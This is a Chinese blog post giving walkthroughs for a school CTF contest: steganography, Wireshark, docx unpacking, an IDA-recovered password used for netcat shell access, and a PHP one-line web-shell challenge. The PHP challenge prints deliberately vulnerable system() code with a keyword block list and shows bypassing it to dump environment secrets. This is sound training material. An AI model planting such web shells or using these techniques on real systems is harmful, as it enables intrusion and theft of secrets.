TuskedEvening0's Blog

20241123校赛WriteUp/解题指引

Preface:写作原因

其实题目大多很简单的,但是就有人说我炸鱼。回宿舍后舍友问为什么做不出来,我一看,什么都找到了,就是密文填在了加密那栏,tm填反了。

为尽力避免我的血压上升过快,故写此次WriteUp。

最喜欢猫猫了

*注:该题目与“咱喵”无关。

下载附件。ctrl-a复制全文。

̲̲ͦͬͧ҆ͣͦ͡͡喵呜。 ̭喵呜。 ͢͢喵。 ͡喵。 ̱喵呜。 ̴̸̭̰̭ͣͥͤ͢͡喵。 ̭̳喵呜。 ̸̶̲̱ͦͤ͢喵呜。 ҈

在搜索引擎搜索“隐写 喵呜”。点击相关链接。

这里点击第一个链接,将密文粘贴到“密文”一栏。在屏幕左侧会出现flag。此处不需要你裹上“flag{xxx}”,直接粘贴上提交框即可。

帮陈CTFer找到flag

使用WireShark打开它。WireShark是一个流量分析工具,它可以用于记录流量、分析流量,更可以分析网络和USB接口的流量。

在菜单栏里找到“编辑”,点击“查找分组”,以分组字节流、字符串的选项搜索“flag”。此时你可以发现它帮你找到了这个字符串。多点几次“查找”,你会发现端口7777和36734高频出现。在“应用显示过滤器”这个输入框内输入“tcp.port == 36734”(写7777也行),你会发现WireShark已经帮你整理出来了。多翻一下,你会发现flag被截成了两部分,flag1与flag2。复制后按先1后2的顺序粘贴在提交框内,并裹上flag{}提交。

火龙果的航空梦 第二季

题外话,这是我们疏忽了。当时我们都没发现平台不可以上传超出30M的文件,没有更改限制。这导致出题人于前一天夜间在群内放了4个内容基本一致的附件,第一个附件中文件名未加密,基本可猜出大致题型;第二个附件中里面虽然套了个zip文件,但是第一个附件的内容还在,完全失去了加密的意义;第三个甚至根本没有加密,如果你下载了第一个或第二个文件,你基本能猜出第三个文件里面是个docx(即使你当压缩文件打开,你已经可以说是开始做题了);第四个才是正常附件。

该题解题方法为将docx当zip文件打开。docx 文件是 Open XML 格式的 Microsoft Word 文档。为了保持或增加可拓展性和可读性,它并没有被设计成一个大号xml文件,而是以内容、样式、附件(插入内容)等被分成了好几个xml文件集合,以zip压缩格式压缩。

将该docx文件以zip格式解压缩会获得一堆文件,里面包含好几个xml和图片等。先处理比较简单的xml,在每个目录下执行以下Linux命令:

cat * | grep flag

解释:以字符串输出目录内所有文件的内容,并通过管道传送给grep,由grep在这个字符串流内寻找flag这个字符串并输出到屏幕上。

你会发现什么都没有发生。

检查图片(./word/media),你会在一众图片中发现如下:

它还怕你认不清这是个flag,特意大写标红,出题人真的,我哭死。

错乱的图片

出题人怕题目过难,专门给了一个甚至可以说是答案的提示:通道。

即使你什么也不看,你会发现:

看起来像是三原色的混合。这足以提示你寻找一款叫StegSolve的工具

下载它后,如果你发现无法打开,请预先下载Java运行环境。打开后,点击Files->Open,选择该图片,连续点击软件下方的俩箭头,直到翻到一个足够清晰并可以扫描的二维码。扫描它,你会发现你只获得了一部分flag。重复点击箭头直到找到下一个清晰二维码,扫描,补全,直到你获得了一个完整的flag。

欢迎ctfer

签到题,搜索“《中华人民共和国网络安全法》自什么时候起正式施行‌‌?”,得到“2017年6月1日施行”,去除无用信息,保留数字,以“年年年年月月日日”(yyyymmdd(y是year,m是month,d是day))形式裹上flag{}提交即可。

一双大”眼睛”正在看着你

搜索“眼睛 隐写”。

第一个便是你需要的结果。下载安装,选择图片(File->Open),选择其中的bmp文件(另一个文件是hint,即提示),点击Decode。

既然是bmp,左上角的编码格式改为BMP,按hint给出的参数(默认)调整(点击Advanced),点击Decode即可获得flag。

ez_pwn

下载附件,使用IDA打开。IDA Free也能正常解题。

加载出界面后点击F5生成伪代码。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[32]; // [rsp+0h] [rbp-20h] BYREF
  welcome(argc, argv, envp);
  fgets(s, 20, stdin);
  if ( !strcmp(s, pass) )
    scenario2();
  else
    scenario1();
  return 0;
}

双击pass这个变量,进入汇编,显示如下字段:

.data:0000000000602080                 public gouzi
.data:0000000000602080 gouzi           db 'Meow brother,the master wants to take you to the cut your',27h,'s'
.data:00000000006020BB                 db ' egg, run quickly!!!!!!',0
.data:00000000006020D3                 align 20h
.data:00000000006020E0                 public pass
.data:00000000006020E0 ; char pass[]
.data:00000000006020E0 pass            db 'miaosangyongbuweinu',0
.data:00000000006020E0                                         ; DATA XREF: main+2E↑o
.data:00000000006020E0 _data           ends

密钥即为miaosangyongbuweinu

把给出的命令放进Linux终端。需要注意的是,需要提前安装Netcat,大部分发行版源内提供,甚至会提示你选择GNU还是OpenBSD的(按默认即可)。默认连接上后没有任何提示,直接输入该密钥即可进入Linux命令行中,同样没有任何提示。

输入ls并按回车后会显示:

attachment
bin
dev
flag
lib
lib32
lib64
libx32

输入cat flag并回车即可获得flag。

木马来咯

<?php
highlight_file('index.php');
#一句话木马,神神又奇奇
if(isset($_POST['J'])){
    $call=$_POST['J'];
    $dangerous_commands = ['cat', 'tac', 'head', 'nl', 'more', 'less', 'tail', 'vi', 'sed', 'od'];
    foreach ($dangerous_commands as $command) {
        if (preg_match("/$command/i", $call)) {
            die("这些个危险函数可不兴使啊");
        }
    }
    system($call);
}
?>

需要利用HackBar,在Chrome和Firefox均对应不同插件。本人推荐这个版本

我使用的版本长这样。

首先点击LOAD,并挑上Use POST method。参数赋值方式为 变量=参数。在该题中,可传入的变量为J,代码大致意思是J如果和cat、tac、head、nl、more、less、tail、vi、sed、od不同即执行,否则提示“这些个危险函数可不兴使啊”。

首先J=ls看看里面有嘛。输入J=ls后点击上方的EXECUTE(执行)即可看到输出。

然后可以试试J=export。export指令可以显示当前系统使用的当前shell的全局变量。显示了如下内容:

<?php
highlight_file('index.php');
#一句话木马,神神又奇奇
if(isset($_POST['J'])){
    $call=$_POST['J'];
    $dangerous_commands = ['cat', 'tac', 'head', 'nl', 'more', 'less', 'tail', 'vi', 'sed', 'od'];
    foreach ($dangerous_commands as $command) {
        if (preg_match("/$command/i", $call)) {
            die("这些个危险函数可不兴使啊");
        }
    }
    system($call);
}
?> export FLAG='not_flag' export GPG_KEYS='CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D' export GZCTF_FLAG='flag{82f46ca6-60a6-4e82-bdf9-a3395c1eaf00}' export HOME='/home/www-data' export HOSTNAME='8cb8253720b2' export PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin' export PHPIZE_DEPS='autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c' export PHP_ASC_URL='https://www.php.net/distributions/php-7.3.26.tar.xz.asc' export PHP_CFLAGS='-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64' export PHP_CPPFLAGS='-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64' export PHP_EXTRA_CONFIGURE_ARGS='--enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgi' export PHP_INI_DIR='/usr/local/etc/php' export PHP_LDFLAGS='-Wl,-O1 -pie' export PHP_SHA256='d93052f4cb2882090b6a37fd1e0c764be1605a2461152b7f6b8f04fa48875208' export PHP_URL='https://www.php.net/distributions/php-7.3.26.tar.xz' export PHP_VERSION='7.3.26' export PWD='/var/www/html' export SHLVL='2' export USER='www-data'

里面有flag,提交即可。


发布于

分类:

标签:

评论

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

许可协议